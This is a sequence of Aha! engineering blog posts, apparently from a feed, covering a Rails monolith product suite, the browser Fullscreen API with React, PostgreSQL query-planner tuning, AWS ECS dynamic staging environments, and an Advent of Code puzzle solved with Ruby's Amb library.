Aha! takes security and permissions very seriously. Building the same level of security and compliance into a brand new codebase would take a significant amount of effort. It would also increase the surface area for attacks by having more infrastructure that needs monitoring and safeguarding, as well as additional codebases that must have their dependencies reviewed, approved, and updated to protect us against security threats.

GraphQL API

To support Aha! Develop, we built a new GraphQL API on top of our existing, rich Aha! data schema. This API supports many features in Aha! Develop, such as the workflow board, backlog management, and sprint planning views. Extension authors can also interact with the data or create custom extension fields to customize the tool to suit their needs.

Since we built this into our monolith, the API takes full advantage of our existing data model and Aha! Ideas and Roadmaps take advantage of the new GraphQL API. We are also able to implement performance improvements that benefit all of our customers, such as our solution to automatically avoid N+1 queries in GraphQL.

Common features

One of the major benefits of using a monolithic codebase is the ability to reuse code. Our Rails monolith uses many common patterns for writing reusable and modular code. We've used patterns like concerns, service objects, and decorators to help us avoid repetitive code, simplify testing, and provide consistent behavior across the application.

We reused code to add components like comments, to-dos, record links, and audit history to Aha! Develop with very little effort. For example, we added a new model for Aha! Develop — the iteration (or "sprint") model. We use Rails concerns so our models are composable. Here are a few of the concerns we included in the iteration model:

include HasDescription
include HasWatchlist
include Terminology
include ActsAsTabbedRecord
include ActsAsCommentable

With these few lines of code, our iteration models included many advanced behaviors we had already implemented elsewhere in Aha!

Not only is reusing the models helpful, but we could also reuse our existing views. This gives us access to our drawer and details design that lets Aha! Develop manage custom fields and layouts with a simple and intuitive interface. We have now added a completely new model to our application that looks and behaves just like the others.

Collaborative text editor

Our rich collaborative text editor is one of the many compelling features in the Aha! product suite. Including it as part of Aha! Develop was a critical feature. We even added syntax highlighting to the editor — an improvement built for Aha! Develop — but now all Aha! customers can take advantage of this great feature.

Adding a new product to Aha!

Since all of this core functionality was already available to us, adding a new product to the Aha! suite was relatively simple. The only difficult part was focusing on Aha! Develop’s differentiating features.

Develop teams

Develop "teams" were constructed as a natural extension to our existing workspace hierarchy. This allows team configuration and settings to behave similarly to workspaces in Aha! Roadmaps. Each team can configure their own statuses, terminology, and workflows. This was yet another way to build on top of existing patterns used in Aha! Roadmaps without writing a lot of new code.

Billing and permissions

Adding a new product to our billing system was not without its challenges. The system was originally built to support only a single product with a few different pricing tiers. Our new billing system would need to support several different products, with a number of pricing tiers each. We introduced additional subscription plans and can now support accounts that use multiple products. Customers can have quite a few different billing configurations but there are some we need to prevent.

To implement this, we introduced a new "flavor" model that is used to determine the billing plan, pricing tier, and number of seats for the various products in our suite. Previously this information was stored at the account level. This flavor model also dictates available functionality from within the application. We can now use a single model to manage the billing and available functionality for accounts.

Launching Aha! Develop

In the end, we didn't need to reinvent any wheels. We didn't reimplement permissions, authentication, comments, custom fields, or layouts. All of these features have evolved and matured over many years, representing countless iterations and improvements to the Aha! product suite. It would be wasteful to throw out all of that effort. Embracing the monolith allowed us to build and launch Aha! Develop with a rich and mature interface — while saving our developers months of effort and providing a Complete Product Experience for our users.

Sign up for a free trial of Aha! Develop

Using the Fullscreen API with React

Michel Billard — Wed, 27 Apr 2022 00:00:00 GMT

Making something fullscreen in browsers is surprisingly easy. All you have to do is call requestFullscreen() on any DOM node. For example:

document.body.requestFullscreen();

Note that the element that you choose to put in fullscreen matters. Only it and its children will be visible so if you want to open popups, tooltips, modals, etc. while in fullscreen, make sure they’re descendants of the fullscreen node.

Once you want to exit fullscreen, it’s just as easy:

document.exitFullscreen();

Of course, users can also exit fullscreen simply by pressing their escape key. If you need to know when that happens, you can listen to the fullscreenchange event. Combined with document.fullscreenElement, you have all the pieces to know when something is going fullscreen or exiting it.

document.addEventListener('fullscreenchange', (event) => {
  if (document.fullscreenElement) {
    // We’re going fullscreen
  } else {
    // We’re exiting fullscreen
  }
});

As you can see, this event is triggered when going into or out of fullscreen mode.

Styling when in fullscreen

You’ll probably want to style things a little differently when going fullscreen. Fortunately, browsers already provide a handy :fullscreen pseudo-class, letting you adjust your styles without the need to manage conditional class names on your elements:

// Fix the toolbar to the top when in fullscreen
:fullscreen .toolbar {
  position: fixed;
  top: 0;
}

How to use this in React

If you use React, you can call requestFullscreen and exitFullscreen in reaction to user events as you normally would. You might also find this useEffect hook quite useful:

const [isFullscreen, setIsFullscreen] = React.useState(false);

// Watch for fullscreenchange
React.useEffect(() => {
  function onFullscreenChange() {
    setIsFullscreen(Boolean(document.fullscreenElement));
  }
        
  document.addEventListener('fullscreenchange', onFullscreenChange);

  return () => document.removeEventListener('fullscreenchange', onFullscreenChange);
}, []);

fullscreen and iframes

If you want to let the content of an iframe be put in fullscreen, then you must first give it permission to do so. You can check if fullscreen is enabled with document.fullscreenEnabled.

allow=”fullscreen” vs allowfullscreen

You might’ve seen both. There’s no harm in using both if you want. In practice, allow=”fullscreen” can be more restrictive by specifying an allowlist while allowfullscreen allows all origins. If both are present, allow=”fullscreen” will take precedence.

Check out the excellent Fullscreen API documentation or MDN's handy guide if you need to dive deeper into any of the elements presented here.

Optimizing with the PostgreSQL deterministic query planner

Alex Bartlow — Fri, 22 Apr 2022 00:00:00 GMT

Feed the planner, trust the plan

Of all the Aha! engineering tool expenses, the money I'm happiest to spend is on a big RDS instance running PostgreSQL. It powers our full-text search, our reporting, and even some of our analytics. If you run it at scale, I recommend dedicating a Friday to curling up somewhere cozy with a cup of coffee and reading the fine manual. It will be time well spent.

PostgreSQL is an easy tool to start using. The defaults provide a fast, secure experience out of the box. However, once you scale to a certain size, performance can start to degrade in some cases. Most people blame the query planner when this happens and start trying to find ways to "trick" the planner into getting a high-performance query.

The problem with these tricks is that they usually end up biting you later — after you've grown as a business for a couple of years and have far higher throughput on your database. If there's one thing to take away from this article, it is this:

The PostgreSQL query planner will always discover the optimum query plan, given its statistical knowledge of your system and your data.

We've discovered some tuning settings in the manual that give the planner the information it needs to do its job correctly. I'm going to cover three settings that we've adjusted over the last couple of years that have improved our query performance up to 20,000%.

Set the right cost for page access

One decision the planner sometimes makes is to full-scan your table instead of using an index. This may seem counter-intuitive, but remember, the planner will always discover the optimum plan. Using an index requires reading random pages from disk; whereas reading the full table gets to read pages sequentially, which is faster.

For a table of a certain size, on a slow hard drive not already cached in ram, with a query that will return a lot of rows — the full scan will be faster. The planner is right. That is, unless you're running a well-provisioned database (caching a large fraction of your data ^cacherate) with a fast NVME disk. (It's 2022 — these things are cheap; use one!) In that case, the index would be faster. How do we tell the planner that we have well-cached data and that the disk is really good at random reads?

The query planner's estimates for the relative speed difference between a random and a sequential read is determined by (random_page_cost and seq_page_cost). The default values for these columns assume that a random read from disk is going to be 40x slower than a sequential read from disk and that 90% of your disk pages will be cached in memory. These defaults assume a modestly sized database server using spinning-metal storage device.

Using a fast NVME drive, you don't have a 40x latency multiple for random access — that number is probably closer to 5–10x. Additionally, if your ram cache rate is close to 99%, then the random_page_cost parameter should be set to something like 1.05. (Multiply how much slower random access is than sequential by the inverse of your cache rate, and you will get a proper value for random_page_cost. 5 * (1 / 0.99) = 1.05)

After implementing these cost changes, we noticed PostgreSQL would stop deciding to full-scan tables unless the tables were very small. This lead to a drastic improvement in our query performance around custom pivots.

Set up statistics for dependent columns

Let's assume the following query, with all three relevant columns indexed:

select count(*) from features where account_id=1 and product_id=2 and initiative_id=3

By default, PostgreSQL assumes that each column is independent of all other columns on your table. This can lead to PostgreSQL deciding to do a bitmap merge of all three indexes, assuming that you're going to get a different set of results for each index, like this:

However, in reality, the data looks like this:

Given an individual product_id or initiative_id on a feature, all features with that initiative_id or product_id will have the same account_id. Moreover, features with the same initiative_id will be highly likely to have the same product_id. So how do we tell the planner that if we know the initiative_id, we can basically ignore the account_id and product_id checks for the initial data fetch process?

These statistical dependencies can be leveraged by the query planner to decide that only one index fetch on initiative_id is necessary. That is the most selective index, so it will give us the smallest result set. The result is likely to be small and the rows that have the initiative_id are likely to have the same product_id and account_id. So doing the one index lookup and then filtering the results in memory is almost assuredly faster than setting up a bitmap scan, which requires going out to disk for random page reads.

Use CREATE STATISTICS features_stats (dependencies) on account_id, product_id, initiative_id from features; analyze features. PostgreSQL will sample those columns and keep track of the coefficient of correlation between their values, coming up with better query plans. In this example, the index on initiative_id is going to be the most selective (largest total cardinality), which means that selecting on that will give us a small number of rows. Then, since all items with initiative_id=3 are probably going to have product_id=2, are certainly going to have account_id=1, and the result set from the initiative_id index can be filtered in memory, all of those rows will likely make it through the check anyway.

The example I describe here is not hypothetical. We found a pathological case where a query for one customer was taking 20 seconds. By adding dependent statistics to the table, the same query's time was reduced to less than a millisecond = 20,000% improvement.

Beware the join collapse

Many candidates that I interview say something to the effect of "PostgreSQL falls over when you have too many joins." This is a commonly known phenomenon but very few candidates know the exact reason for this.

PostgresSQL's query planner by default will exhaust every possibility trying to determine the fastest way to execute a query you request. The complexity of this is exponential with the amount of joins added. Attempting to plan the join of many tables together when the join order is not constrained could take longer than doing the actual query.

To avoid this planner's analysis paralysis, PostgreSQL also has a genetic algorithm-based query optimizer, which attempts to find a heuristic solution. Most of the time, it's pretty good but sometimes the results are pretty bad. The decision to use heuristic planning instead of deterministic planning is determined by the geqo_threshold. The amount of work the heuristic planner does is determined by geqo_effort , which is a simple 1-10 scale with a default to 5.

Since the cost of a bad query is far more than the cost of some extra time planning, we've opted to increase our geqo_threshold to 20. This covers the vast majority of our reporting queries. We're also looking into increasing our geqo_effort values, since when we're joining more than 20 tables together, it's worth spending extra time planning to ensure that we get the query plan right. This is a continued area of experimentation for us - Aha! has a lot of very small, optimized queries; it also has some very large, gnarly ones in order to report on customer's data in the way the customer desires. Striking a balance between these extremes appears to be a bit of an art form.

Additionally, it pays to increase the values of join_collapse_limit and from_collapse_limit. These parameters determine the maximum number of tables for which PostgreSQL is willing to optimize the join order. And if you have a lot of tables, get the query plan right so you can save far more time executing the query.

Feed the planner, trust the plan

The deterministic query planner will always find the optimal result. If the planner is generating bad plans, it means you need to find ways to give it better statistical data. Instead of "tricks," use the prescribed methods that come with PostgreSQL to instruct the planner on the shape of your data. You'll be very happy with the result. And seriously, read the manual.

Sign up for a free trial of Aha! Develop

You can check your database cache rate with the following query. You want your cache hit rate to be near 99%. If it's lower than 95% for heavily accessed tables, consider increasing your database's RAM.
```
SELECT 
  sum(heap_blks_read) as heap_read,
  sum(heap_blks_hit)  as heap_hit,
  sum(heap_blks_hit) / (sum(heap_blks_hit) + sum(heap_blks_read)) as ratio
FROM 
  pg_statio_user_tables;
```
↩

Building a dynamic staging platform

Steve Lamotte — Thu, 14 Apr 2022 00:00:00 GMT

Our team at Aha! recently gained the ability to quickly create and destroy dynamic staging environments.

Our platform team maintains several general-purpose staging environments that our engineering and product teams use to test new features. These staging environments closely mimic our production infrastructure — but at a greatly reduced scale. As our team has grown, demand for these environments has increased, making our stagings somewhat of a hot commodity at times.

We've given a lot of thought to how best to address this. One obvious option would have been to simply create some new staging environments. This ultimately just kicks the can down the road because we would find ourselves in the same position in a few months. And since there are times when our stagings are not fully utilized, having a bunch of idle resources is wasteful. We really needed something more dynamic.

And so the notion of dynamic staging environments was conceived. This allowed anyone to quickly and easily spin up a brand new test environment on-demand, deploy their feature branch, test it, and then destroy it when no longer needed.

Planning environment design

We wanted these dynamic staging environments to be relatively lightweight. They are not a resource-for-resource mirroring of our production infrastructure the way our normal staging environments are. This allows them to be quickly created, updated, and destroyed — and also helps keep costs down.

Engineers at Aha! use our home-grown ops utility to initiate deployments, SSH to remote machines, and perform other various DevOps tasks. This utility has been updated over the years as our infrastructure has changed, so it seemed natural that we should add new commands to manage our dynamic stagings. We wanted this to be something as simple as an engineer writing ops ds create in their feature branch.

Like many companies, Aha! uses Slack for internal communications. We have a Slack bot named "stagingbot" that we use to manage our staging environments — with commands such as claiming and releasing a staging and deploying a branch to a staging. To allow non-engineers to use them as well, we would need to update stagingbot to manage dynamic stagings.

Since we use AWS Elastic Container Service (ECS) for our container orchestration, our dynamic stagings would also run under ECS. Rather than create a whole new set of infrastructure for each new dynamic staging, we selected one of our existing staging environments to serve as the dynamic staging host environment. This allows dynamic stagings to share certain resources that are owned by the host environment — in particular, the database instance, Redis/ElastiCache instance, and certain other Aha! compute resources. This approach further helps achieve the goal of being able to quickly create and destroy dynamic stagings.

This design came with some drawbacks. For example, the shared database instance means database migrations cannot be applied without potentially breaking other dynamic staging environments. It would still provide a very effective solution for the vast majority of our testing needs while freeing up the legacy staging environments for specialized testing such as infrastructure changes, and we could still add the ability to create a new RDS instance later if we did want to test those types of changes.

Staging environment preparation

Like most web-based SaaS applications, Aha! relies on DNS to direct customers to the right services. Our staging environments' services are coordinated by DNS subdomains that tell Aha! which load balancer to hit. Once the application receives a request, the host header tells us which account should be used.

For dynamic stagings, we updated our DNS to point all "dynamic" subdomains at a new EC2 application load balancer. Then when new dynamic stagings are created, a listener rule is added to this load balancer to direct traffic to the new ECS service.

This new load balancer is a convenient demarc point between dynamic stagings and the existing staging environments. It greatly simplifies the Terraform changes required to augment the host environment to begin creating dynamic stagings.

The first implementation

Our first implementation was intended to quickly relieve the pressure caused by staging contention. This results in several limitations when compared to a normal staging environment, but it provides an ideal test environment for at least 80% of our use cases. It also gets the team used to considering dynamic stagings as their default option for testing.

Resource creation

There are six steps in the workflow for standing up a new dynamic staging:

1. Create a new ECS task definition

In ECS, a task definition specifies how a service's task (roughly analogous to a Docker container) will be run. It includes things like the IAM execution role, which specifies what AWS APIs may be invoked by the task, networking details such as security groups, and runtime parameters such as the container image to run, including environment variables and memory/CPU constraints.

To keep things simple, we fetch the task definition for the web service that is currently running on the host environment and tweak certain parameters to make it run as a dynamic staging service. This includes:

The service name/family
Its memory footprint — We size dynamic stagings smaller than regular staging services.
An environment variable with the name of the dynamic staging — This environment variable lets the application know that it's running as a dynamic staging and instructs it to tweak things like URLs

2. Create a new load balancer target group

When an ECS service is configured, you can specify a target group. As each task for your service starts up, it is registered with the target group that allows it to start serving traffic.

The target group periodically performs health checks on each task, replacing any that become unhealthy. A target group also acts as an endpoint for our ECS services when associated with a listener rule.

3. Create a new load balancer listener rule

We then create a new listener rule and attach it to the load balancer. A listener rule can perform a variety of checks on incoming requests and redirect traffic accordingly.

In our case, we create a host header condition (i.e., the DNS name in the web request that is sent in the HTTP request headers) to associate the dynamic staging's DNS name with the new ECS service via the target group created in the previous step.

4. Create a new ECS service

The previous steps provide the prerequisites needed to stand up the actual ECS service.

When creating the service, we reference the task definition that we created earlier as well as the load balancer target group. ECS will create the service and start up the requested number of tasks, which is one for our dynamic stagings. These do not see much load so there's no need to scale out or provide redundancy.

Once the service has started and it is healthy, it can start accepting requests. This can take a few minutes.

5. Create a new Aha! account

Since dynamic stagings share the host staging environment's database, we create a new Aha! account in that database that points at the new dynamic staging's subdomain. This was easy to implement because we already had a method to create a random account in staging, something frequently used during development. I modified the code slightly to handle dynamic stagings and made it available to call from the ops command via a web API that is only available in the host environment.

While the ECS service is initializing, we invoke this API and pass it the name of the new dynamic staging environment. A new account is created in Aha! along with a new user with full access to this account. The details are returned to the ops script.

6. Share new dynamic staging details

Once the ECS service is healthy, we output details about the new environment including its URL and user credentials. The entire process takes less than five minutes.

Passing around one-off user credentials to everyone who wants to use a dynamic staging can become inconvenient, so we enabled SSO in the new account. This allows any Aha! user to quickly and easily log in to any dynamic staging.

Limitations

One of the goals of this first iteration was to create something for testing the majority of our features. Our shared database model meant migrations could not be tested without endangering other dynamic staging environments. Up until this point, we simply did not run migrations when creating a dynamic staging environment.

Background jobs are another limitation. Since only the Aha! web service runs in a dynamic staging, the host environment's workers would process any Resque jobs that were sent to the shared Redis instance. If your branch hadn't updated any background-able methods, this would be no big deal. But if you were hoping to test changes to these methods, you would be out of luck.

Company-wide dynamic staging

While the first implementation of our dynamic stagings worked well enough and was adopted by many at Aha!, the limitations caused by the shared database and other resources prevented it from being accepted as everyone's default staging solution. My next task was clear: dynamic stagings for the masses!

Dedicated databases

The biggest barrier to entry was clearly the shared database. Not being able to test features that had migrations was a severe restriction, so we decided to spin up an AWS RDS instance based on the latest hourly snapshot of our host environment's database.

This operation adds just a few minutes to the dynamic staging creation process, so it's a pretty attractive solution. We also chose a small db.t3.micro instance class for the database since, for the intended use case of testing by one developer or a small team, it would not be under significant load.

Our Customer Success, marketing, and engineering teams deal with trial and signup flows. They have special test data configured in staging, for example, to prepare screenshots for updates about product enhancements. To make dynamic stagings more attractive to them, we provide the option to select any staging as the hourly snapshot source. When one of these other stagings is used as the source, we have to update the dedicated database's master account credentials to match the host environment's credentials, otherwise our dynamic stagings would not be able to connect to them. Unfortunately this operation (Aws::RDS::Client#modify_db_intance when using the Ruby SDK) requires that the initial database create process finishes completely (i.e., is "Ready") before it can be invoked. Then we need another wait for that call to finish so the credentials are confirmed to be updated. This adds up to 10 extra minutes to the processing but the flexibility to choose the data source is well worth the wait.

Once we know the hostname of the new database, we set an environment variable AHA_DB_INSTANCE_ID in the task definition. At runtime, we check that environment variable to determine whether we want to connect to a non-default database instance. If so, we tweak the database connect string to point at the dedicated database instance:

  # If an environment variable is present to point us at a specific database
  # instance, update the target environment variable accordingly.
  def maybe_override_database_id(var_name)
    database_id = ENV["AHA_DB_INSTANCE_ID"]
    return unless database_id

    # Replace the first part of the intsance's hostname
    ENV[var_name] = ENV[var_name].sub(/@.*?\./, "@#{database_id}.")
  end

Worker processes

Like many Ruby on Rails apps, we use background jobs in Aha! to help provide a robust and responsive user interface. We use Resque backed by Redis for queuing up these jobs in the web app for subsequent processing by worker processes.

Similar to the shared database we initially employed, the shared Redis instance made it difficult to test background jobs because all dynamic stagings plus the host environment would be enqueuing and dequeuing jobs with the same Redis.

The solution to this was actually quite simple: namespaces. By prefixing Resque queue names with the name of the dynamic staging, each environment would see only the jobs that it cares about.

Similar to what we did for dedicated databases, an environment variable AHA_REDIS_NAMESPACE was added to the task definitions containing the name of the dynamic staging environment. Then in our Resque initializer, I simply added a conditional to the existing code to check for the environment variable and optionally set a namespace:

Resque.redis = begin
  redis = Redis.new(url: configatron.resque_url, thread_safe: true)

  # Use a Redis namespace if so configured e.g. for dynamic stagings
  namespace = ENV["AHA_REDIS_NAMESPACE"]
  if Rails.env.production? || namespace.blank?
    redis
  else
    Redis::Namespace.new("#{namespace}-resque", redis: redis)
  end
end

Since this code is executed by both the web app and the worker service, they will use the same Resque queues. Too easy!

Creating the ECS service for the worker is similar to the web app's service — only simpler. Because it runs silently in the background listening for Resque jobs, it does not require a target group or listener rules. We simply clone the host environment's worker task definition, tweak it in a similar fashion to how we modified the web service task definition (including setting the AHA_REDIS_NAMESPACE environment variable), and create the service.

What's next?

These recent changes have truly turned dynamic stagings into first-class staging environments. We expect that they will cover at least 95% of our testing use cases, leaving the legacy staging environments primarily for specialized infrastructure work.

There are other esoteric limitations that we know about but we've decided to accept those for now. We can always turn on a new stack using Terraform if we need to test something obscure in a way that legacy staging environments cannot replicate. Since rolling out these last few changes and seeing increased adoption by our teams, I've already received feedback on several issues that were easy to fix. On a personal note, it's very rewarding to see the rate of adoption of dynamic stagings at Aha! increase the way it has, and it validates all the time and effort I've put into this project.

One of the features I'm most looking forward to adding is an extension to Aha! Develop that lets you create, update, and remove dynamic stagings while viewing your features and requirements. This is something that a group of us at Aha! started working on during a recent hackathon, and it would make dynamic stagings even easier to use.

Our team at Aha! strives to make development a joy by creating tools that enhance and simplify day-to-day work. I have worked at many companies where this was not a priority and the difference in developer happiness is clear. Consider taking some time to identify pain points within your own organization's technical processes. You may find that building a script to automate frequently performed manual tasks makes everyone's job easier.

If you're like me and love building innovative technical solutions that help empower others, you should come work with us.

Start a free trial today

Advent of Code, and the Amb Operator

Alex Bartlow — Thu, 07 Apr 2022 00:00:00 GMT

There is nothing quite like friendly competition to refuel your passions. Our team at Aha! recently sponsored 2021's Advent of Code, an annual event posing a series of programming puzzles that can be solved in any programming language you choose. We had a lot of fun going through the challenges together and comparing notes about how we solved the different problems. Our own Justin Paulson made it a few days using only Google Sheets to solve the problems! I ended up using a little-known library called amb for day 8's Seven Segment Search. The core of my solution was this:

  Ambiguous.solve do |amb|
    s2 = inputs.detect {|i| i.length == 2}
    s3 = inputs.detect {|i| i.length == 3}
    s4 = inputs.detect {|i| i.length == 4}

    a = (s3 - s2).first
    b = amb.choose(*(s4 - s2))
    c = amb.choose(*s2)
    d = amb.choose(*%w[a b c d e f g])
    e = amb.choose(*%w[a b c d e f g])
    f = amb.choose(*s2)
    g = amb.choose(*%w[a b c d e f g])

    amb.assert [a, b, c, d, e, f, g].uniq.size == 7

    # assert inputs include all possible values
    amb.assert inputs.include?([a, b, c, e, f, g].sort) # 0
    amb.assert inputs.include?([c, f].sort) # 1
    amb.assert inputs.include?([a, c, d, e, g].sort) # 2
    amb.assert inputs.include?([a, c, d, f, g].sort) # 3
    amb.assert inputs.include?([b, c, d, f].sort) # 4
    amb.assert inputs.include?([a, b, d, f, g].sort) # 5
    amb.assert inputs.include?([a, b, d, e, f, g].sort) # 6
    amb.assert inputs.include?([a, c, f].sort) # 7
    amb.assert inputs.include?([a, b, c, d, e, f, g].sort) # 8
    amb.assert inputs.include?([a, b, c, d, f, g].sort) # 9

    # wire to display segment:
    # "wire(key) b lights up segment(value) c"
    wire_key = {
      a => 'a',
      b => 'b',
      c => 'c',
      d => 'd',
      e => 'e',
      f => 'f',
      g => 'g'
    }
  end

Amb is a neat library which provides ambiguous matching. It comes with two methods: choose and assert. choose gives you a value (not a proxy, but one of the real objects you pass into the choose operator) that you can use in assert clauses later on. assert works as you think it would. Except instead of throwing an error like assert would do in a test, it backtracks program execution to one of the choices, and picks a different choice.

This makes the Amb library incredibly useful for constraint-solving problems where it is easier to declare what a correct solution would look like, instead of writing out every step necessary to get there.

Unfortunately, this solution has a few drawbacks:

In code like this, it is not obvious that the lines between choose and the last assert might be executed many different times. If you tried using this in a production Rails application, you could imagine it being easy to insert many records into a database or have some other side effect a number of different times.
Continuations are deprecated in Ruby. They are only present in YARV and not in other Ruby interpreters.
Continuations use the language's stack and implementation details in order to manage the state of your program data. Depending on your programming philosophy, this could present big problems.

How could we implement something like the above in idiomatic Ruby and not something using a less popular library I heard about 16 years ago?

An idiomatic solution

Array#permutation can be used as the starting point of our computation — giving us all possible arrangements of wires to segments. Then we turn this enumerator into a lazy enumerator, which allows us to stop whenever we reach the first solution that matches our criteria. This reduces our processing time by 50% in my testing. At this point, we just keep adding select statements until we are sure that the inputs map to the possible outputs:

  key = %w[a b c d e f g].permutation.lazy
    .select { |(a,b,c,d,e,f,g)| inputs.include?([a,b,c,e,f,g].sort ) } # 0
    .select { |(a,b,c,d,e,f,g)| inputs.include?([c,f].sort ) } # 1
    .select { |(a,b,c,d,e,f,g)| inputs.include?([a,c,d,e,g].sort ) } # 2
    .select { |(a,b,c,d,e,f,g)| inputs.include?([a,c,d,f,g].sort ) } # 3
    .select { |(a,b,c,d,e,f,g)| inputs.include?([b,c,d,f].sort ) } # 4
    .select { |(a,b,c,d,e,f,g)| inputs.include?([a,b,d,f,g].sort ) } # 5
    .select { |(a,b,c,d,e,f,g)| inputs.include?([a,b,d,e,f,g].sort ) } # 6
    .select { |(a,b,c,d,e,f,g)| inputs.include?([a,c,f].sort ) } # 7
    .select { |(a,b,c,d,e,f,g)| inputs.include?([a,b,c,d,e,f,g].sort ) } # 8
    .select { |(a,b,c,d,e,f,g)| inputs.include?([a,b,c,d,f,g].sort ) } # 9
    .first

    wire_key = Hash[key.zip(%w[a b c d e f g])]

In this example, this is functionally equivalent to:

  key = %w[a b c d e f g].permutation.detect do |(a,b,c,d,e,f,g)|
    inputs.include?([a,b,c,e,f,g].sort ) &&
    inputs.include?([c,f].sort ) &&
    inputs.include?([a,c,d,e,g].sort ) && 
    inputs.include?([a,c,d,f,g].sort ) &&
    inputs.include?([b,c,d,f].sort ) &&
    inputs.include?([a,b,d,f,g].sort ) &&
    inputs.include?([a,b,d,e,f,g].sort ) &&
    inputs.include?([a,c,f].sort ) &&
    inputs.include?([a,b,c,d,e,f,g].sort ) &&
    inputs.include?([a,b,c,d,f,g].sort ) 
  end

Happy programming

Lazy enumerables would be a great tool to keep in mind if the computation was more expensive or if the initial set of possibilities was larger. You could also do something really silly, like turn thread queues into concurrent, asynchronous processing pipelines.

In any case, the Amb library is certainly useful and shows off something I love about Ruby — the way it can morph and twist to suit the developer. I am grateful to Jim Weirich, a developer and influential Ruby community contributor. He introduced me to the Amb library, among many others, and helped first ignite my passion for becoming a Ruby programmer. Ruby places a high value on making programmers happy, allowing for expressiveness and ease of use. Most of our features we work on at Aha! involve writing significant Ruby on Rails code.

Our team is happy, productive, and hiring — join us!

From One, Many — Building a Product Suite With a Monolith

Justin Paulson — Thu, 31 Mar 2022 00:00:00 GMT

Aha! has now reached $100 million in annual recurring revenue with three separate software products in our available suite. We did this all without taking money and without breaking our monolith into microservices.

Monolith vs microservice

Modern web applications have used many different architecture patterns. Two of the most common are a single monolithic code base and a system of isolated microservices. A monolithic code base contains all of the code to run the entire feature set of an application in a single codebase. Monoliths typically connect to a single database to store all of the necessary data for an application. In a microservice architecure, the entire product functionality is split into many different services that all have their own code bases and backing databases. Each microservice is designed to handle small tasks and limit the functionality that is contained in a single code base.

We like to move fast

By utilizing a monolithic architecture, Aha! has moved from a single product with Aha! Roadmaps, to a suite of tools. Our engineering team was able to add Aha! Ideas and Aha! Develop as standalone products in less than 18 months. With all of the code existing in one Rails repository, it was easy to share the infrastructure, data, business logic, views, and user experience elements.

We maintain a single repository to run the entire Aha! suite of products on a local environment. This means that our engineers can have access to the full code base and all functionality — running locally on their first day. Once they have downloaded the repository, all development can be done without any internet access. There is no cluster of development services to connect to and no intricate system of virtual machines from separate repositories to manage. The engineer only needs the code delivered in the monolithic repository and the engineer's own system.

There are portions of our code that do live outside of the main Rails repository. We have some frontend tools and an integration engine that live in separate repositories from the main Rails application. However, all of these separate repositories are pulled into the main application as dependencies. These other repositories are necessary for building new features in those areas but they are not necessary to load up the entire application functionality locally. These separate repositories are also not deployable assets or services on their own. They are encapsulations of areas of code that we may want to open source or utilize in other contexts outside of our main production application. In fact, efforts have been underway to limit these ancillary repositories and our engineers continually lament having to work outside of the main repository to complete tasks.

We ❤️ Rails

Ruby on Rails has been monumental for the growth of Aha! and many other applications across the internet. Rails has been a consistent option for web development because of how easy it is to quickly generate a project. A very strong community has also grown around Rails due to its open-source nature. Both the conventions that are provided by Rails and the community surrounding it have been a major catalyst in our velocity at Aha!

Rails conventions provide a standardization that lowers the learning curve for new engineers joining the team. We don’t have to spend a lot of time explaining the architecture decisions for a large majority of the application because they follow conventions. It is easy for an experienced Rails engineer to navigate the application and quickly find the areas they need to focus on for a particular change.

With over 15 years of web applications running on Rails, the Rails community provides an immeasurable value to our application. The community helps by providing code in the form of gems that can be used to extend Rails and by generating mountains of material to learn and grow in the ways to use Rails. Blogs, podcasts, forums, conferences, books, and many more mediums are dedicated to Rails. This collection of material aids in our problem-solving by seeing the different ways that other engineers have solved the same problems with Rails.

Our Rails monolith allows Aha! to benefit from the work of thousands of engineers as if it was a much larger organization.

Complex code over complex processes

The image on the left shows a monolith where all of the functional blocks exist inside one single code base. Each of the green lines represent communication between different areas of the code inside of the monolith.

The boxes on the right represent individual microservices that have their own code base and data. Each of the blue dotted arrows in the diagram represents a contract between microservices.

The organization must become more complex in order to handle the information handoffs between teams that are managing contracts in a microservice architecture. The contracts between services have to be discussed, documented, developed, and maintained. This is typically done by different teams that are responsible for a limited scope of the architecture. Each of these lines become separate tasks that have to be analyzed and organized by product managers, business analysts, and team leads. These tasks may appear in different sprints in different workspaces across the software development tool. While each task is now simple, the complexity has shifted to the ways in which work and process are organized and distributed across teams. This leads to conversations about process, contracts, endpoints, due dates, and dependencies. We prefer our conversations to be about users and lovable interactions.

Engineers build better when they understand the reason they are building. It can be extremely frustrating to spend your time working away at a problem that does not have a clear value. Our engineering teams at Aha! are responsible for the entire life cycle of features. They gain a deeper understanding of the code they are building and why each piece is required. When features are divided among multiple teams handling multiple microservices, it is difficult for each engineer to understand the reasoning behind their requirements. Not only does this lower fulfillment from the engineers involved, but it also degrades the quality and allows for unexpected cases to arise from usage that some teams may not understand.

I have met very few engineers who enjoy a heavy process to make meaningful alterations in a system. More so, I meet engineers who take pride in finding sophisticated solutions that can improve an entire system. In our own code base, Kyle d’Oliveira was able to solve 90% of our N+1 queries across the entire application with a single code change.

Interrupt-driven

Our engineers don’t like meetings. Most of our teams do not have daily stand-ups. We pioneered The Responsive Method and part of that method is to be interrupt-driven. Our CTO Dr. Chris Waters likes to say we are “interrupt-driven, not meeting driven.” That is to say we do not schedule a meeting to tackle challenges that arise, but rather we interrupt our current work to handle the new priority immediately.

In a complex organization with simple microservices, interrupts can affect two, three, or many more teams. A meeting becomes a necessity to coordinate changes and dependencies between teams. Being interrupt driven is almost impossible when the complexity of the application has been distributed across services and teams.

The monolith gives our team the ability to limit interruptions to affect only a single engineer. Even large interruptions that require changes at multiple levels of the stack can typically be handled by a single engineer. And as Conway’s Law would suggest, structuring our organization around The Responsive Method has driven our architecture to remain a monolith.

Locking it down

We handle a lot of important data for our Aha! customers. Keeping their data secure is our top priority. We maintain an ISO27001 certification to ensure we are limiting any vulnerabilities in our system and process. When we build new features, security is paramount to all other concerns. We have thorough security reviews for every new endpoint, external dependency, major data migration, or any other code changes that have potential to open security vulnerabilities.

A monolith limits the scope in which we can introduce security issues. A single code base allows our security engineers to understand the potential risks in the application and to easily monitor all ingress points. If our code was distributed amongst numerous microservices with separate data concerns and endpoints, the scope and quantity of security considerations would multiply. Each new microservice would need to be analyzed and audited to verify we are not opening our customer's data up to new vulnerabilities from reparsing and reprocessing data in an inconsistent way.

Our Rails monolith also benefits from being written in consistent languages — Ruby and JavaScript. Aha! security engineers don’t need to be able to diagnose vulnerabilities in Python, Go, and any other language a team decides to create a service in. Instead, our engineers can focus on the Rails code and grow a deep knowledge of how to secure the environment for our users.

Evolve to resolve

